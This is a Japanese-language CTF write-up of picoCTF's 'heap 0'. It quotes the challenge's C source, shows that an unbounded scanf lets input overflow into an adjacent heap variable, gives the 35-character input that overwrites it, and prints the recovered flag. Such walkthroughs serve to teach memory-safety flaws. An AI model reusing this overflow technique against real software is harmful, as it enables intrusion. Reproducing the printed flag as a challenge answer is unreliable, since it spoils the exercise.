pico CTF writeup heap 0

ソースコード(chall.c)とバイナリ(chall)が配布される。

とりあえず実行。

```
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x600002380040  ->   pico
+-------------+----------------+
[*]   0x600002380050  ->   bico
+-------------+----------------+

1. Print Heap:		(print the current state of the heap)
2. Write to buffer:	(write to your own personal block of data on the heap)
3. Print safe_var:	(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:		(Try to print the flag, good luck)
5. Exit

Enter your choice:
```

選択画面が出てきた。
bufferに何かを書き込んだり、safe_var, Flag値をプリントする機能がある。

ソースコードを呼んでみると、各機能別に関数が用意されている。
中でも重要そうなのが、これ。

```
void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}
```

safe_varの値が"bico"じゃなかったらフラグを取れるらしい。

```
1. Print Heap:		(print the current state of the heap)
2. Write to buffer:	(write to your own personal block of data on the heap)
3. Print safe_var:	(I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:		(Try to print the flag, good luck)
5. Exit

Enter your choice: 3


Take a look at my variable: safe_var = bico
```

実行して「3. Print safe_var」を選ぶと、"bico"が入っている。
どうすればsafe_varを書き換えられるか、、、

main関数では最初にinit()が実行される

```
void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}
```

input_dataとsafe_varはmalloc()されていて、safe_varはinput_dataのすぐ後に領域が確保されている。

input_dataはscanf()で入力できて、文字数制限がない。
(→バッファオーバーフローできる!)

```
void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}
```

実際のマシンでは0x20の差がある

```
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5f79985622b0  ->   pico
+-------------+----------------+
[*]   0x5f79985622d0  ->   bico
+-------------+----------------+
```

ので、input_dataを32文字以上埋めれば、safe_varを書き換えれる。

```
Enter your choice: 2
Data for buffer: 01234567890123456789012345678901aaa
```
2を選んでこんな感じで入力すると、

```
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x615b61eff2b0  ->   01234567890123456789012345678901aaa
+-------------+----------------+
[*]   0x615b61eff2d0  ->   aaa
+-------------+----------------+
```

safe_varのbicoがaaaに変わり、

```
Enter your choice: 4

YOU WIN
picoCTF{my_first_heap_overflow_c3935a08}
```

フラグが取れた!